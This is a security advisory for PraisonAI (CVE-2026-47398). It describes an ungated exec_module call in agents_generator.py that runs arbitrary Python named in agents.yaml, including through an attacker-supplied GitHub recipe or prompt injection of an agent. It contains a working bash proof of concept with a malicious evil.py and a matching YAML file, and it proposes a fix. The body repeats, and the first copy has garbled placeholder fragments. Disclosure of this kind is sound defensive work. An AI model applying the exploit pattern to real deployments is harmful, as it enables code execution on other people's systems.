PT-2026-45057 · Pypi · Praisonai
Arbitrary code execution via ungated
Published
2026-05-29
·
Updated
2026-05-29
·
CVE-2026-47398
CVSS v3.1
8.1
High
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
Arbitrary code execution via ungated spec.loader.exec module in agents generator.py (v4.6.32 chokepoint refactor bypass)
Summary
The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the
PRAISONAI ALLOW LOCAL TOOLS env-var gate to the tool override.py sinks. However, two additional spec.loader.exec module call sites in praisonai/agents generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.Patch lineage
| CVE | GHSA | Fixed in | What was patched |
|---|---|---|---|
| CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool resolver.py |
| CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool resolver.py + api/call.py |
| CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool override.py |
| This finding | — | unfixed | Missed sinks in agents generator.py |
Every prior patch addressed a subset of
exec module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.Vulnerable code
# praisonai/agents generator.py (master HEAD; v4.6.37) ,[object Object],372 def load tools from module class(self, module path): # ... (same pattern — spec from file location → exec module, no gate)
Neither function checks
PRAISONAI ALLOW LOCAL TOOLS. Neither validates module path against an allowlist. The module path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:- Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
- Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (
POST /v1/recipes/runwithallow any github=True). - Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.
Attack chain (recipe vector)
HTTP POST /v1/recipes/run
body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
│
▼
Recipe fetched → agents.yaml contains:
tools:
- module path: ./evil.py # colocated in recipe dir
│
▼
AgentsGenerator.load tools from module("./evil.py")
│
▼
agents generator.py:349 spec = spec from file location("tools module", "./evil.py")
agents generator.py:351 spec.loader.exec module(module) ← RCE
No
PRAISONAI ALLOW LOCAL TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.PoC
#!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object],MARKER=$(ls /tmp/praisonai agents gen pwn *.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi
Impact
Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an
agents.yaml or colocate a .py file achieves code execution as the service account.Severity
High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)
When combined with the recipe server's default no-auth posture and
allow any github=True, the attack becomes network-reachable without authentication, elevating to:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
CWE
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-426: Untrusted Search Path
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Affected versions
All versions containing
agents generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).Suggested fix
Apply the same
PRAISONAI ALLOW LOCAL TOOLS env-var gate used in tool resolver.py and api/call.py to both call sites in agents generator.py:import os ,[object Object], ,[object Object], ,[object Object], ,[object Object],
Additionally, validate
module path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.Credit
Kai Aizen & Avraham Shemesh / SnailSploit
## Arbitrary code execution via ungated `spec.loader.exec module` in `agents generator.py` (v4.6.32 chokepoint refactor bypass)
TL;DR
The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the
PRAISONAI ALLOW LOCAL TOOLS env-var gate to the tool override.py sinks. However, two additional spec.loader.exec module call sites in praisonai/agents generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.Patch lineage
| CVE | GHSA | Fixed in | What was patched |
|---|---|---|---|
| CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool resolver.py |
| CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool resolver.py + api/call.py |
| CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool override.py |
| This finding | — | unfixed | Missed sinks in agents generator.py |
Every prior patch addressed a subset of
exec module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.Vulnerable code
# praisonai/agents generator.py (master HEAD; v4.6.37)
336 def load tools from module(self, module path):
# ...
349 spec = importlib.util.spec from file location("tools module", module path)
350 module = importlib.util.module from spec(spec)
351 spec.loader.exec module(module) # ← NO gate
372 def load tools from module class(self, module path):
# ... (same pattern — spec from file location → exec module, no gate)
Neither function checks
PRAISONAI ALLOW LOCAL TOOLS. Neither validates module path against an allowlist. The module path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:- Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
- Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (
POST /v1/recipes/runwithallow any github=True). - Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.
Attack chain (recipe vector)
HTTP POST /v1/recipes/run
body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
│
▼
Recipe fetched → agents.yaml contains:
tools:
- module path: ./evil.py # colocated in recipe dir
│
▼
AgentsGenerator.load tools from module("./evil.py")
│
▼
agents generator.py:349 spec = spec from file location("tools module", "./evil.py")
agents generator.py:351 spec.loader.exec module(module) ← RCE
No
PRAISONAI ALLOW LOCAL TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.PoC
#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail
WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT
# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
f"praisonai agents gen pwn {int(time.time())}.txt")
with open(marker, "w") as f:
f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}
")
print(f"[agents generator bypass] RCE fired. Marker: {marker}", flush=True)
def dummy tool():
"""Placeholder so tool scan finds something."""
pass
PYEOF
# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents generator exec module bypass"
roles:
poc agent:
role: PoC
goal: Trigger load tools from module
backstory: n/a
tools:
- evil.py
YAMLEOF
# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
ai = PraisonAI(agent file='agents.yaml')
ai.main()
except Exception:
pass # downstream failure expected; exec module already fired
"
# 4. Verify
MARKER=$(ls /tmp/praisonai agents gen pwn *.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
echo "SUCCESS — marker file written by server process:"
cat "$MARKER"
else
echo "FAIL — marker not found"
exit 1
fi
Impact
Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an
agents.yaml or colocate a .py file achieves code execution as the service account.Severity
High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)
When combined with the recipe server's default no-auth posture and
allow any github=True, the attack becomes network-reachable without authentication, elevating to:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
CWE
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-426: Untrusted Search Path
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Affected versions
All versions containing
agents generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).Suggested fix
Apply the same
PRAISONAI ALLOW LOCAL TOOLS env-var gate used in tool resolver.py and api/call.py to both call sites in agents generator.py:import os
def load tools from module(self, module path):
if os.environ.get("PRAISONAI ALLOW LOCAL TOOLS", "").lower() != "true":
return []
# ... existing logic ...
def load tools from module class(self, module path):
if os.environ.get("PRAISONAI ALLOW LOCAL TOOLS", "").lower() != "true":
return []
# ... existing logic ...
Additionally, validate
module path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.Credit
Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)
Fix
Code Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Praisonai